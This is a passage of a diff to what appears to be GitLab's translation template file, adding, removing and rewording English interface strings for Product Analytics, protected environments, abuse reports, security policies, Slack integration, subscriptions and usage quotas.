@@ -32131,7 +32497,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -32146,9 +32515,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -32260,6 +32626,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -32272,27 +32641,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32947,6 +33517,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -33166,6 +33748,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -33241,9 +33826,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -33415,9 +33997,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33568,10 +34147,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33703,6 +34282,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -34327,6 +34909,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -34339,6 +34939,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -34375,6 +34978,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -35113,6 +35719,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -35380,9 +35989,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35440,9 +36046,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35479,6 +36082,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36481,7 +37111,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36862,7 +37492,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -37069,6 +37699,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -37093,9 +37729,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -37111,6 +37744,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -37120,12 +37756,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -37318,9 +37978,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37732,6 +38389,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37753,6 +38419,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -38032,7 +38701,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -38095,10 +38764,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -38113,6 +38782,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -38182,9 +38854,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -38404,9 +39073,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -38434,6 +39100,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -38464,9 +39133,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -38485,9 +39151,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -39271,6 +39934,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -39490,9 +40156,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39619,9 +40282,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39652,6 +40312,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39679,10 +40345,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39694,22 +40360,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -40207,6 +40867,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -40402,15 +41068,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40900,18 +41566,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -41128,6 +41812,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -41146,7 +41833,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -41167,9 +41854,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41662,15 +42346,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41701,6 +42376,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41983,9 +42673,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -42247,6 +42934,9 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -42400,6 +43090,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42604,6 +43297,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42952,6 +43648,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -43054,21 +43753,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -43291,6 +43996,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -43366,9 +44074,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43573,7 +44278,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -44023,6 +44728,15 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -44239,7 +44953,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -44536,24 +45250,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -44662,15 +45364,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -44842,6 +45541,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -44884,6 +45586,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -45064,6 +45769,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -45103,6 +45811,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -45172,6 +45883,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -45334,15 +46048,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -45373,15 +46081,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -45439,24 +46141,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
